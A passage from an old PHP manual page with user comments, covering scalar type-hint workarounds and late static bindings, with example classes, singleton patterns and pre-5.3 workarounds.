public static function handleTypehint($ErrLevel, $ErrMessage) {
        if ($ErrLevel == E_RECOVERABLE_ERROR) {
            if (preg_match ( TYPEHINT_PCRE, $ErrMessage, $ErrMatches )) {
                list ( $ErrMatch, $ThArgIndex, $ThClass, $ThFunction, $ThHint, $ThType ) = $ErrMatches;
                if (isset ( self::$Typehints [$ThHint] )) {
                    $ThBacktrace = debug_backtrace ();
                    $ThArgValue = NULL;
                    if (self::getTypehintedArgument ( $ThBacktrace, $ThFunction, $ThArgIndex, $ThArgValue )) {
                        if (call_user_func ( self::$Typehints [$ThHint], $ThArgValue )) {
                            return TRUE;
                        }
                    }
                }
                throw new Exception($ErrMessage);
            }
        }
        return FALSE;
    }
?>
madness 11-Jul-2008 03:09
I must admit that Daniel's implementation is quite awesome (after all we'd be omonyms if I was english, omen nomen ;-) ), for everyone that already has a function/class to handle errors, this is a quick method to integrate the TypeHint class:

<?php
    public static function handleError($errno, $errstr, $errfile, $errline){

        // Implements just-in-time classes for broad type hinting
        if (TypeHint::handleTypehint($errno, $errstr)){
            return true;
        }

        // do your usual stuff here
        /*
         * ...
         */
    }
?>

The initializeHandler method and the Typehint::initializeHandler(); call are rendered useless in this case. Enjoy.
Daniel dot L dot Wood at Gmail dot Com 26-May-2008 11:00
People often ask about scalar/basic typehints.  Here is a drop in class that I use in my MVC framework that will enable typehints through the use of a custom error handler.

Note: You should include this code above all other code in your include headers and if you are the using set_error_handler() function you should be aware that this uses it as well.  You may need to chain your set_error_handlers()

Why?
1) Because people are sick of using the is_* functions to validate parameters.
2) Reduction of redundant coding for defensive coders.
3) Functions/Methods are self defining/documenting as to required input.

Also..
Follow the discussion for typehints in PHP 6.0 on the PHP Internals boards.

<?php

define('TYPEHINT_PCRE'              ,'/^Argument (\d)+ passed to (?:(\w+)::)?(\w+)\(\) must be an instance of (\w+), (\w+) given/');

class Typehint
{

    private static $Typehints = array(
        'boolean'   => 'is_bool',
        'integer'   => 'is_int',
        'float'     => 'is_float',
        'string'    => 'is_string',
        'resrouce'  => 'is_resource'
    );

    private function __Constrct() {}

    public static function initializeHandler()
    {

        set_error_handler('Typehint::handleTypehint');

        return TRUE;
    }

    private static function getTypehintedArgument($ThBackTrace, $ThFunction, $ThArgIndex, &$ThArgValue)
    {

        foreach ($ThBackTrace as $ThTrace)
        {

            // Match the function; Note we could do more defensive error checking.
            if (isset($ThTrace['function']) && $ThTrace['function'] == $ThFunction)
            {

                $ThArgValue = $ThTrace['args'][$ThArgIndex - 1];

                return TRUE;
            }
        }

        return FALSE;
    }

    public static function handleTypehint($ErrLevel, $ErrMessage)
    {

        if ($ErrLevel == E_RECOVERABLE_ERROR)
        {

            if (preg_match(TYPEHINT_PCRE, $ErrMessage, $ErrMatches))
            {

                list($ErrMatch, $ThArgIndex, $ThClass, $ThFunction, $ThHint, $ThType) = $ErrMatches;

                if (isset(self::$Typehints[$ThHint]))
                {

                    $ThBacktrace = debug_backtrace();
                    $ThArgValue  = NULL;

                    if (self::getTypehintedArgument($ThBacktrace, $ThFunction, $ThArgIndex, $ThArgValue))
                    {

                        if (call_user_func(self::$Typehints[$ThHint], $ThArgValue))
                        {

                            return TRUE;
                        }
                    }
                }
            }
        }

        return FALSE;
    }
}

Typehint::initializeHandler();

?>

An are some examples of the class in use:

<?php

function teststring(string $string) { echo $string; }
function testinteger(integer $integer) { echo $integer; }
function testfloat(float $float) { echo $float; }

// This will work for class methods as well.

?>

You get the picture..
Darby 28-Dec-2007 07:50
Correction to previous note:

"Failing to satisfy the type hint results in a catchable fatal error."

This only seems to be the case for PHP >= 5.2.0.
jesdisciple @t gmail -dot- com 06-Nov-2007 07:50
The manual's sample code says:
<?php
//...
// Fatal Error: Argument 1 must not be null
$myclass->test(null);
//...
?>

And this is true, unless a default value of NULL is given; in fact, this is the only way to give a default value for object arguments (as a default value must be a constant expression):
<?php
$mine = new MyClass();
$mine->test(NULL);
class MyClass{
    public function __construct(OtherClass $arg = NULL){
        if(is_null($arg)){
            //Apply default value here.
        }
    }
    public function test(array $arr = NULL){
        print_r($arr);
    }
}
class OtherClass{

}
?>
Jazz 16-Oct-2007 09:20
To Nikivich and Edorian:

There are many times when you would use an equals() method other than to find out if the two objects are the same object. Think of all the primitive wrapper classes in Java, for example -- if you create two new Integer()'s with identical values, equals() returns true, even though they are two different objects. There would be no reason to allow someone to perform an equals() between an Integer and, say, a GregorianCalendar -- it just doesn't make sense. In Java you would attempt this and probably get a ClassCastException, but in PHP no such facility exists, so the best way to prevent this would be through type hinting.

The point Nicholas was making is that you can't specify a stricter type hint on an inherited method, and despite your arguments, that would be a truly useful thing to be able to do.

(True overloading would be a better way, IMHO, but *shrug*)
ldebuyst->brutele.be 28-Feb-2007 06:52
In reply to Nikivich and Edorian:

Although it isn't quite clear from his post, I believe that the point nicholas is trying to make is that, if you typehint an abstract function, you MUST use that same typehint for all classes extending the abstract class.

As his example shows, if you typehint (Object $object), then  you must use the exact same typehint in the extending class. Using the typehint (Table $table) or (Chair $chair) will give fatal errors, even if Table and Chair are subclasses of Object.

In other words, type hinting allows for descendants, as caliban at darklock dot com has shown, except when you're subclassing.

See http://bugs.php.net/bug.php?id=36601 for a bit more info. Flagged as wontfix, though, so something to keep in mind.
Nikivich 23-Feb-2007 07:28
In reply to Nicolas

I don't think you exactly understand the inheritance principles
If you want to do the equals thing in a decent OO way, you would do something like this:

class Object {
      public equals(Object &o) {
            return this == &o; //perform default equals check, one could arguably say that === is the correct default, but doesnt matter for the example
      }
}

class Chair extends Object {
}
class Table extends Object {
}

$chair = new Chair();
$table = new Table();
$chair->equals($table); //will print false (zero)

This is actually a correct implementation of an equals method. Since you want to take a chair for example and just call equals() on it WITH ANY OBJECT, you should only hint Object, not an implementation, since the whole point of the equals method is to find out whether it is actually the same object :-) I want to be able to pass a table (which implements Object too, so is perfectly allowed as a parameter to equals).

Hope this clears it up a bit for you... :-)
Edorian 07-Feb-2007 10:12
In response to nicholas at nicholaswilliams dot info:

Of course this doesn't work. Not in Php nor in Java.

You can't put a Chair into Table just because there both implementing "Object"

It wouldn't make any sense to say "i'm expecting an argument that implements the same object that i'm implementing" with type hinting.

You say: "I'm expection an Object of that Class or a Object of a Subclass of that Class " like you do in every OO languange.
nicholas at nicholaswilliams dot info 13-Nov-2006 12:53
Please note that the following will not work:

<?php

abstract class Object
{
    public abstract function toString( );
    public abstract function equals( Object &$o );
}

class Chair extends Object
{
    public function toString( )
    {
        return 'This is a chair.';
    }

    public function equals( Chair &$o )
    {
        return TRUE;
    }
}

class Table extends Object
{
    public function toString( )
    {
        return 'This is a table.';
    }

    public function equals( Table &$o )
    {
        return TRUE;
    }
}

$chair = new Chair();
$table = new Table();

echo $chair->equals( $table );

?>

The expected output is "Fatal error: Argument 1 passed to Chair::equals() must be an instance of Chair, called in [filename] on line 38 and defined in [filename] on line 16" but instead you get "Fatal error: Declaration of Chair::equals() must be compatible with that of Object::equals() in [filename] on line 20".

This is unlike other OO languages (secifically Java) which not only allow but expect this type of code. It is in the nature of abstraction. However, you can get similar results using the following code instead:

<?php

abstract class Object
{
    public abstract function toString( );
    public abstract function equals( self &$o );
}

class Chair extends Object
{
    public function toString( )
    {
        return 'This is a chair.';
    }

    public function equals( self &$o )
    {
        return TRUE;
    }
}

class Table extends Object
{
    public function toString( )
    {
        return 'This is a table.';
    }

    public function equals( self &$o )
    {
        return TRUE;
    }
}

$chair = new Chair();
$table = new Table();

echo $chair->equals( $table );

?>

This code gives the expected result "Fatal error: Argument 1 passed to Chair::equals() must be an instance of Chair, called in [filename] on line 38 and defined in [filename] on line 16". This is the proper behavior but isn't the most intuitive approach for those of us used to OO programming.

Hope this helps someone :-).

Nicholas
02-Sep-2006 08:59
The type hinting system can also be used for interfaces.  Example:

<?php
interface fooface
{
    public function foo ();
}

class fooclass implements fooface
{
    public function foo ()
    {
        echo ('foo<br>');
    }
}
class barclass implements fooface
{
    public function foo ()
    {
        echo ('bar<br>');
    }
}
class bazclass implements fooface
{
    public function foo ()
    {
        echo ('baz<br>');
    }
}

class quuxclass
{
    public function foo ()
    {
        echo ('quux<br>');
    }
}

function callfoo (fooface $myClass)
{
    $myClass -> foo ();
}

$myfoo = new fooclass;
$mybar = new barclass;
$mybaz = new bazclass;
$myquux = new quuxclass;

callfoo ($myfoo);
callfoo ($mybar);
callfoo ($mybaz);
callfoo ($myquux); // Fails because the quuxclass doesn't implement the fooface interface
?>

Using this syntax you can allow a function to work with different classes as long as they all implement the same interfaces.  An example might be an online shop that implements a plugin system for payment.  If the creator of the script provides a payment module interface then functions can check if it has been implemented in a given payment class.  This means that the details of the class are unimportant, so it doesn't matter if it interfaces with PayPal, HSBC, ProTX or any other payment system you care to name, but if it doesn't properly provide all the functionality a payment module requires a fatal error is generated.

Unfortunately, it doesn't seem possible to use type hinting with new.  In java you could do a "fooface myfoo = new fooclass" which would fail if you tried it with quuxclass instead, but as far as I can tell you can't do a similar test on create with PHP.
mlovett at morpace dot com 06-Jul-2005 03:54
Type hinting works with interfaces too. In other words, you can specify the name of an interface for a function parameter, and the object passed in must implement that interface, or else type hinting throws an exception.
caliban at darklock dot com 23-Feb-2005 07:34
In case you're worried, type hinting does allow descendants. Extending the documentation example:

<?php
   // Example class
   class MyClass
   {
      public function test(OtherClass $otherclass)
      {
          if(is_callable(array($otherclass,$otherclass->var)))
          {
             $otherclass->{$otherclass->var}();
          }
          else
          {
             echo $otherclass->var;
          }
      }
   }

   // Another example class
   class OtherClass
   {
      public $var = 'Hello World';
   }

   // Yet another example class
   class DerivedClass extends OtherClass
   {
      function __construct()
      {
         $this->var="Planet";
      }

      public function Planet()
      {
         echo "Hello ".$this->var;
      }
   }

   $myclass = new MyClass;
   $otherclass = new OtherClass;
   $derivedclass = new DerivedClass;

   // Works - prints "Hello World"
   $myclass->test($otherclass);

   // Works - calls DerivedClass::Planet()
   //    which prints "Hello Planet"
   $myclass->test($derivedclass);
?>
Comparing Objects
Late Static Bindings
Classes and Objects


Late Static Bindings

As of PHP 5.3.0, PHP implements a feature called late static bindings which can be used to reference the called class in a context of static inheritance.

More precisely, late static bindings work by storing the class named in the last "non-forwarding call". In case of static method calls, this is the class explicitly named (usually the one on the left of the :: operator); in case of non static method calls, it is the class of the object. A "forwarding call" is a static one that is introduced by self::, parent::, static::, or, if going up in the class hierarchy, forward_static_call(). The function get_called_class() can be used to retrieve a string with the name of the called class and static:: introduces its scope.

This feature was named "late static bindings" with an internal perspective in mind. "Late binding" comes from the fact that static:: will not be resolved using the class where the method is defined but it will rather be computed using runtime information. It was also called a "static binding" as it can be used for (but is not limited to) static method calls.

Limitations of self::

Static references to the current class like self:: or __CLASS__ are resolved using the class in which the function belongs, as in where it was defined:

Example #1 self:: usage

<?php
class A {
    public static function who() {
        echo __CLASS__;
    }
    public static function test() {
        self::who();
    }
}

class B extends A {
    public static function who() {
        echo __CLASS__;
    }
}

B::test();
?>

The above example will output:

A

Late Static Bindings' usage

Late static bindings tries to solve that limitation by introducing a keyword that references the class that was initially called at runtime. Basically, a keyword that would allow you to reference B from test() in the previous example. It was decided not to introduce a new keyword but rather use static that was already reserved.

Example #2 static:: simple usage

<?php
class A {
    public static function who() {
        echo __CLASS__;
    }
    public static function test() {
        static::who(); // Here comes Late Static Bindings
    }
}

class B extends A {
    public static function who() {
        echo __CLASS__;
    }
}

B::test();
?>

The above example will output:

B

Note:

In non-static contexts, the called class will be the class of the object instance. Since $this-> will try to call private methods from the same scope, using static:: may give different results. Another difference is that static:: can only refer to static properties.

Example #3 static:: usage in a non-static context

<?php
class A {
    private function foo() {
        echo "success!\n";
    }
    public function test() {
        $this->foo();
        static::foo();
    }
}

class B extends A {
   /* foo() will be copied to B, hence its scope will still be A and
    * the call be successful */
}

class C extends A {
    private function foo() {
        /* original method is replaced; the scope of the new one is C */
    }
}

$b = new B();
$b->test();
$c = new C();
$c->test();   //fails
?>

The above example will output:

success!
success!
success!

Fatal error:  Call to private method C::foo() from context 'A' in /tmp/test.php on line 9

Note:

Late static bindings' resolution will stop at a fully resolved static call with no fallback. On the other hand, static calls using keywords like parent:: or self:: will forward the calling information.

Example #4 Forwarding and non-forwarding calls

<?php
class A {
    public static function foo() {
        static::who();
    }

    public static function who() {
        echo __CLASS__."\n";
    }
}

class B extends A {
    public static function test() {
        A::foo();
        parent::foo();
        self::foo();
    }

    public static function who() {
        echo __CLASS__."\n";
    }
}
class C extends B {
    public static function who() {
        echo __CLASS__."\n";
    }
}

C::test();
?>

The above example will output:

A
C
C

User Contributed Notes

fchoquet at NOSPAM dot example dot com 25-Oct-2011 06:36
A tricky behaviour of LSB:
If you forget a "static" keywork in the method definition you can get very unexpected results.

<?php

class BaseClass {
    public function callTest() {    // static accidentally omitted
        static::test();
    }

    protected static function test() {
        echo 'BaseClass::test<br />';
    }
}

class ExtendedClass extends BaseClass {
    protected static function test() {
        echo 'ExtendedClass::test<br />';
    }
}

class UserClass {
    public function useExtendedClass() {
        ExtendedClass::callTest(); // Static call of the *acidentally* non static method
    }

    public function test() {
        echo 'UserClass::test<br />';
    }
}

BaseClass::callTest();  // BaseClass::test, as expected

ExtendedClass::callTest();  // ExtendedClass::test, as expected

$userClass = new UserClass();
$userClass->useExtendedClass(); // ExtendedClass::test is expected, but displays UserClass::test!!!

?>
brendel at krumedia dot de 21-Mar-2011 06:37
In my opinion late static binding is an anti pattern but there are some benefits though:

<?php
class MyClass extends ClassReference
{
}
?>

MyClass::getQualifiedName() returns the full class name including namespace information. This prevents you from passing class names as plain strings and still lets you take advantage of code completion and type browsing.

MyClass::cast() ensures the type of an object to be of a certain class. This is a kind of type hinting.

<?php
abstract class ClassReference
{

    final public static function getQualifiedName()
    {
        return get_called_class();
    }

    final public static function cast($object)
    {
        $className = get_called_class();
        if (!is_object($var) || !($object instanceof $className))
        {
            throw new \UnexpectedValueException("Cast failed. Argument is not of type " . $className . ".");
        }
        return $object;
    }

}
?>
jrfish dot x at gmail dot com 09-Dec-2010 04:05
also works the same way with static variables and constants
jrfish dot x at gmail dot com 09-Dec-2010 04:01
consider this:

<?php
class A
{

 // some stuff....

    public static function getInstance()
    {
        return new self();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();

//versus

class A
{

 // some stuff....

    public static function getInstance()
    {
        return new static();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();
?>

also works the same way with static variables and constants
Anonymous 24-Nov-2010 09:22
THIS WORKED GREAT FOR ME:

<?php
abstract class ParentClass
{
    static function parent_method()
    {
        $child_class_str = self::get_child_class();
        eval("\$r = ".$child_class_str."::abstract_static();");
        return $r;
    }// CHILD MUST OVERRIDE TO PUT ITSELF INTO TRACE

    protected abstract static function abstract_static();

    private static function get_child_class()
    {
        $backtrace = debug_backtrace();
        $num = count($backtrace);
        for($i = 0; $i < $num; $i++)
        {
            if($backtrace[$i]["class"] !== __CLASS__)
                return $backtrace[$i]["class"];
        }
        return null;
    }
}

class ChildClass extends ParentClass
{
    static function parent_method(){ return parent::parent_method(); }

    protected static function abstract_static()
    {
        return __METHOD__."()";
    }// From ParentClass
}

print "The call was: ". ChildClass::parent_method();
?>
jakub dot lopuszanski at nasza-klasa dot pl 08-Nov-2010 10:12
Suprisingly consts are also lazy bound even though you use self instead of static:
<?php
class A{
  const X=1;
  const Y=self::X;
}
class B extends A{
  const X=1.0;
}
var_dump(B::Y); // float(1.0)
?>
tfn dot yldrm at hotmail dot com 26-Oct-2010 12:30
example for static binding on 5.2 and real enumaration
<?php
    /**
    * Static Binding On PHP 5.2
    * @author Tufan Baris YILDIRIM
    * @since 26.10.2010
    */
    abstract class EnumBase
    {
        protected $num = 0;
        public $toString;
        public $toInt;

        public function __construct($enumKeyOrVal)
        {

            unset($this->toString,$this->toInt);

            $enums = $this->enums();

            if(
            empty($enumKeyOrVal)
            ||
            !(isset($enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,$enums)) !== false)
            )
                $this->num = 0;

            /**
            *  5.3 Version
            */
            /*
            *  if(
            empty($enumKeyOrVal)
            ||
            !(isset(static::$enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,static::$enums)) !== false)
            )
            $this->num = 0;
            */
        }

        #5.3 e geçilirse gerek kalmaz.
        public function vars()
        {
            return get_class_vars(get_class($this));
        }

        public function enums()
        {
            $vars = $this->vars();
            return $vars['enums'];
        }

        public function __get($property)
        {
            if(method_exists($this,'__'.$property))
                return $this->{'__'.$property}();
            else
                return $this->__toString();
        }

        public function __toInt()
        {
            return $this->num;
        }

        public function __toString()
        {

            $enums = $this->enums();

            if(isset($enums[$this->num]))
            {
                return $enums[$this->num];
            }
            else
            {
                return $enums[0];
            }

            /**
            * 5.3 Version
            */

            /*
            if(isset(static::$enums[$this->num]))
            {
            return static::$enums[$this->num];
            }
            else
            {
            return static::$enums[0];
            }
            */
        }
    }

    class Positions extends EnumBase
    {
        public static $enums = array(
        0 => 'Bilinmiyor',
        1 => 'Kale',
        2 => 'Defans',
        3 => 'Orta Saha',
        4 => 'Forvet'
        );
    }

    $a = new Positions('Orta Saha');
    $b = new Positions(4);

    $c = (string)$a; // Orta Saha
    $d = (string)$b; // Forvet
?>
fabiolimasouto at gmail dot com 15-Oct-2010 05:10
<?php
// tricky implementation of singleton
// creates a function handle to work with the child singleton
// so you can get the object doing: ClassName() instead of ClassName::getInstance()
// or get some property rightaway: ClassName('nameOfPublicProperty');
// enjoy!!

Abstract class SingletonBase
{
 protected function __clone(){}
 public function getInstance()
 {
  static $instance = null;
  if($instance==null)
  {
   $instance = new static;
   if(!function_exists($name=get_called_class()))
   {
    $strCode = "function {$name}(\$attribute=null){
     static \$obj = null;
     !\$obj AND \$obj = {$name}::getInstance();
     return \$attribute ? \$obj->\$attribute : \$obj;
    }";
    // creates the getInstance handle function
    eval($strCode);
   }
  }
  return $instance;
 }
}

// EXAMPLE

class MySingletonClass extends SingletonBase
{
 var $varTest = "somevalue";
}

$obj = MySingletonClass::getInstance();
echo $obj->varTest; // somevalue
echo MySingletonClass('varTest'); // somevalue
$obj = MySingletonClass();
echo $obj->varTest; // somevalue
?>
steven dot karas+nospam at gmail dot com 27-Sep-2010 02:38
This function can be used as a workaround for late static binding in PHP >= 5.1.0. There was another similar version of this function elsewhere, but used eval.

<?php

function & static_var($class, $name)
{
    if (is_object($class))
    {
        $class = get_class($class);
    }
    elseif ( ! is_string($class))
    {
        throw new Exception('Must be given an object or a class name', NULL);
    }

    $class = new ReflectionClass($class);
    return $class->getStaticPropertyValue($name);
}

?>
adam dot prall at thinkingman dot com 11-Jun-2010 09:51
Just a quick reminder to always check your syntax. While I love LSB, I thought it wasn't working:

static::$sKey = not set

…until I realized that I’d completely forgotten to make it a variable variable:

$sKey = 'testStaticClassVarNameThatExistsInThisClassesScope';

static::$$sKey = is set

…of course this applies anywhere in PHP, but because of the (current) newness late static bindings, I’ve seen lots of code with this particular snafu in it from others.
James 29-Apr-2010 03:59
If you're still stuck on a pre-5.3 codebase then you can fake a singleton superclass like this.  It ain't pretty, though.  To do it you pass the type info down the stack manually and then abuse call_user_func to pass the value back to the originating class so that you can access it's static properties.

<?php
abstract class Singleton {
    protected function __construct() {}
    protected function __clone() {}

    public function instance($class) {
        $member = 'instance';
        $instance = self::getStaticMember($class, $member);
        if (!$instance instanceof $class) {
            $instance = new $class();
            self::setStaticMember($class, $member, $instance);
        }
        return $instance;
    }

    protected function setStaticMember($class, $member, $value) { call_user_func(array($class, __FUNCTION__), $member, $value); }
    protected function getStaticMember($class, $member) { return call_user_func(array($class, __FUNCTION__), $member); }
}

class MySingleton extends Singleton {
    protected static $instance = null;

    public function instance() { return parent::instance(__CLASS__); }

    protected function setStaticMember($member, $value) { self::$$member = $value; }
    protected function getStaticMember($member) { return self::$$member; }
}

?>
joost dot t dot hart at planet dot nl 21-Aug-2009 06:34
PHP5.3 unavailable, yet in the need for 'static', I did the following.

Any objections? Personally I hate using the the eval() statement...

<?php

class mother
{
    function setStatic( $prop, $val ) {
        // After this, self:: refers to mother, yet next $class refers to...
        //
        $class = get_class( $this );
        eval( "$class::\$$prop = \$$val;" );
    }
}

class child extends mother
{
    protected static $sProp;

    function writer( $value ) {
        parent::setStatic( 'sProp', $value );
    }
    function reader()
    {
        return self::$sProp;
    }
}

$c = new child();
$c->writer( 3 );
echo $c->reader(); // 3

?>
tom 03-Jul-2009 06:28
Something you may find useful for passive code-testing:

<?php
class BaseClass {
  function __get($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
  function __set($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
}

class MyClass extends BaseClass {
// my implementation
}
?>

Using these magic function as described above will help you to find classes that try to access an undefined (and undocumented) class-member. In most cases: this is an error based on misspelled member names.
kenneth at kennethjorgensen dot com 30-Mar-2009 02:19
Simple basic class which uses to get_called_class() to create singleton instances. A previous post by php at mikebird dot co dot uk explain how to do this, but the extended static variables require you to define them in child classes before they work.

<?php

abstract class Singleton {
    private static $instances = array();

    public function __construct() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances))
            trigger_error("Tried to construct  a second instance of class \"$class\"", E_USER_WARNING);
    }

    public static function getInstance() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances) === false)
            self::$instances[$class] = new $class();
        return self::$instances[$class];
    }
}

class A extends Singleton {
}

class B extends Singleton {
}

$a1 = A::getInstance();
$a2 = A::getInstance();
$b1 = B::getInstance();
$b2 = B::getInstance();

if (get_class($a1) == "A" &&
    get_class($a2) == "A" &&
    get_class($b1) == "B" &&
    get_class($b2) == "B" &&
    $a1 === $a2 &&
    $b1 === $b2)
    echo "All good\n";
else
    echo "FAIL!\n";

?>

You probably noticed the use of self:: rather than static::, this is because we want the static variable to be private, and using static:: will not allow us to do that.
lazybones_senior 01-Oct-2008 12:30
WHOA... KEEP IT SIMPLE!

Remember, when you write a class definition, you are creating a new "type" of object. And when you extend those classes, you are creating a heirarchy. To get to the point... all the class defs below work together to provide a solid organization of data.

<?php

abstract class Animal {
  protected $type, $name;

  public function __construct($aType, $aName) {
    $this->type = $aType;
    $this->name = $aName;
  }

  public function __toString() {
    return "Animal [type=$this->type, name=$this->name]";
  }
}

class Dog extends Animal {
  public function __construct($aName) {
    parent::__construct("Dog", $aName);
  }
}

class Cat extends Animal {
  public function __construct($aName) {
    parent::__construct("Cat", $aName);
  }
}

echo 'My dog: ' . (new Dog('Sam')) . '<br>';
echo 'My cat: ' . (new Cat('Fluffy')) . '<br>';
echo 'Your dog: ' . (new Dog('Walter')) . '<br>';
echo 'Yout cat: ' . (new Cat('Ginger'));

?>

My dog:   Animal[type=Dog, name=Sam]
My cat:   Animal[type=Cat, name=Fluffy]
Your dog: Animal[type=Dog, name=Walter]
Yout cat: Animal[type=Cat, name=Ginger]

... and notice the property called $type, is the same as using __CLASS__ in most of the previous posts, but without the complexities of the PHP language.
gern_ at hotmail dot com 18-Sep-2008 07:51
get_called_class for PHP < 5.3

<?php
/**
 * Return called class name
 *
 * @author Michael Grenier
 * @param int $i_level optional
 * @return string
 */
function get_called_class ($i_level = 1)
{
    $a_debug = debug_backtrace();
    $a_called = array();
    $a_called_function = $a_debug[$i_level]['function'];
    for ($i = 1, $n = sizeof($a_debug); $i < $n; $i++)
    {
        if (in_array($a_debug[$i]['function'], array('eval')) ||
            strpos($a_debug[$i]['function'], 'eval()') !== false)
            continue;
        if (in_array($a_debug[$i]['function'], array('__call', '__callStatic')))
            $a_called_function = $a_debug[$i]['args'][0];
        if ($a_debug[$i]['function'] == $a_called_function)
            $a_called = $a_debug[$i];
    }
    if (isset($a_called['object']) && isset($a_called['class']))
        return (string)$a_called['class'];
    $i_line = (int)$a_called['line'] - 1;
    $a_lines = explode("\n", file_get_contents($a_called['file']));
    preg_match("#([a-zA-Z0-9_]+){$a_called['type']}
                {$a_called['function']}( )*\(#", $a_lines[$i_line], $a_match);
    unset($a_debug, $a_called, $a_called_function, $i_line, $a_lines);
    if (sizeof($a_match) > 0)
        $s_class = (string)trim($a_match[1]);
    else
        $s_class = (string)$a_called['class'];
    if ($s_class == 'self')
        return get_called_class($i_level + 2);
    return $s_class;
}
?>
kx 14-Sep-2008 09:39
At least as of PHP 5.3.0a2 there's a function get_called_class(), which returns the class on which the static method is called.

<?php

class a {
  static public function test() {
    print get_called_class();
  }
}

class b extends a {
}

a::test(); // "a"
b::test(); // "b"

?>
iamscrumpyjack 07-Sep-2008 09:01
I have been dying to see this issue resolved. I'm very much looking forward to the production release of PHP 5.3...

In my case I have been trying to do the following:

class A {
  function __construct() {
    echo "I was called by " . static::__CLASS__;
  }
}

class B extends A {
  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Should echo "I was called by B"
$b->Foo(); // Should echo "I am class B"

At the moment I do the following workaround:

class A {
  function __construct($child) {
    echo "I was called by " . $child;
  }
}

class B extends A {
  function __construct() {
    parent::__construct(__CLASS__);
  }

  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Echos "I was called by B"
$b->Foo(); // Echo "I am class B"

As you can see, my current workaround has some overhead and is not as water-tight as the late static binding method.
sebastien at info-conseil dot fr 17-Jul-2008 07:26
Here is a small workaround I made for the static inheritance issue. It's not perfect, but it works.

<?php

// BaseClass class will be extended by any class needing static inheritance workaroud
class BaseClass {
    // Temporarily stores class name for Entry::getStatic() and Entry::setNextStatic()
    protected static $nextStatic = false;

    // Returns the real name of the class calling the method, not the one in which it was declared.
    protected static function getStatic() {
        // If already stored
        if (self::$nextStatic) {
            // Clean and return
            $class = self::$nextStatic;
            self::$nextStatic = false;
            return $class;
        }

        // Init
        $backTrace = debug_backtrace();
        $class = false;

        // Walk through
        for ($i=0; $i<count($backTrace); $i++) {
            // If a class is defined
            if (isset($backTrace[$i]['class'])) {
                // Check if it is not a basic class
                if (!in_array($backTrace[$i]['class'], array('BaseClass', 'GenericClass'))) {
                    return $backTrace[$i]['class'];
                } else {
                    $class = $backTrace[$i]['class'];
                }
            } else {
                // Returns last known class
                return $class;
            }
        }

        // Default
        return $class;
    }

    // If a static method is called within global env, the previous method won't work, so we need to tell BaseClass which
    public static function setNextStatic($class) {
        // Save value
        self::$nextStatic = $class;
    }
}

// Generic class declaring various static methods
class GenericClass extends BaseClass {
    public static $name = 'Generic';

    public function getName() {
        $static = get_class_vars(get_class($this));
        return $static['name'];
    }

    public static function basicClassName() {
        return self::$name;
    }

    public static function staticClassName() {
        // Get real name
        $staticName = self::getStatic();

        // Return final class name
        $static = get_class_vars($staticName);
        return $static['name'];
    }
}

// Final class
class SomeClass extends GenericClass {
    public static $name = 'Some';

    public static function returnClassNameWith($string) {
        return $string.' : '.self::staticClassName();
    }
}

// Instance call

// Will print 'Some'
$a = new SomeClass();
echo 'Name of $a : '.$a->getName().'<br />';

// Static calls

// Will print 'Generic'
echo 'Basic call to SomeClass::$name : '.SomeClass::basicClassName().'<br />';

// Will print 'Generic'
echo 'Global call to SomeClass::$name : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
BaseClass::setNextStatic('SomeClass');
echo 'Global call to SomeClass::$name with pre-set : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
echo 'Internal call to SomeClass::$name : '.SomeClass::returnClassNameWith('This is a ').'<br />';

?>

There are two issues with this workaround :
- if you call a static method from global env, you need to declare the name of the class BEFORE calling the method, otherwise the workaround won't work (see 3rd and 4th examples). But I assume good programming makes few calls to static methods from global scope, so this shouldn't be long to fix if you use it.
- the workaround fails to access to private or protected static vars, as it uses get_class_vars(). If you find any better solution, let us know.

With Php 5.3.0, upgrading will be easy : just delete the methods from the basic class, and search/replace any call to getStatic() and setNextStatic() by static:: - or one could use a selector on PHP_VERSION value to include either the BaseClass file with workaround or a BaseClass file using static::
Anonymous 12-Jul-2008 12:49
Trying to recreate an inheritable static part for an object through a singleton pattern.

<?php
/**
 * "Inheritable static" for PHP < 5.3
 * << Library/Inheritable.php >>
 */

abstract class Inheritable_Static extends Singleton
{
}

abstract class Inheritable
{
    public static function getStatic($className)
    {
        // Use an abstract Singleton
        return Singleton::getInstance($className . '_Static') ;
    }

    public function goStatic()
    {
        return self::getStatic(get_class($this)) ;
    }
}

/**
 * Abstract
 * << Library/SayIt/Abstract.php >>
 */

abstract class SayIt_Abstract_Static extends Inheritable_Static
{
    public $format ;
}

abstract class SayIt_Abstract extends Inheritable
{
    protected $_name ;

    public function __construct($name)
    {
        $this->_name = $name ;
    }

    final public function sayIt()
    {
        echo sprintf($this->goStatic()->format, $this->_name) . "\n" ;
    }

}

/**
 * Concrete
 * << Library/SayIt/Hello.php >>
 */

class SayIt_Hello_Static extends SayIt_Abstract_Static
{
}

class SayIt_Hello extends SayIt_Abstract
{
    public static function getStatic() { return parent::getStatic(__CLASS__) ; }
}

/**
 * Test
 */

SayIt_Hello::getStatic()->format = 'Hello %s' ;

$w = new SayIt_Hello('World') ;
$j = new SayIt_Hello('Joe') ;

echo $w->sayIt() ; // Hello World
echo $j->sayIt() ; // Hello Joe
Andrea Giammarchi 21-Jun-2008 01:06
About static parameters, these work as expected.
<?php
class A {
    protected static $__CLASS__ = __CLASS__;
    public static function constructor(){
        return  static::$__CLASS__;
    }
}

class B extends A {
    protected static $__CLASS__ = __CLASS__;
}

echo    B::constructor(); // B
?>
martinpauly [at] google mail [dot] com 18-Jun-2008 05:54
will this work for variables as well?

it would be great, if the following worked:

<?php
class A {
protected static $table = "table";
public static function connect(){
     //do some stuff here
     echo static::$table;
     return static::getInstance(); //function getInstance() now can return classes A or B depending on the context it was called
}
...
}

class B extends A {
protected static $table = "subtable";
...
}

$table = B::connect(); //hopefully the output will be: subtable
?>
deadimp at gmail dot com 05-Jun-2008 10:39
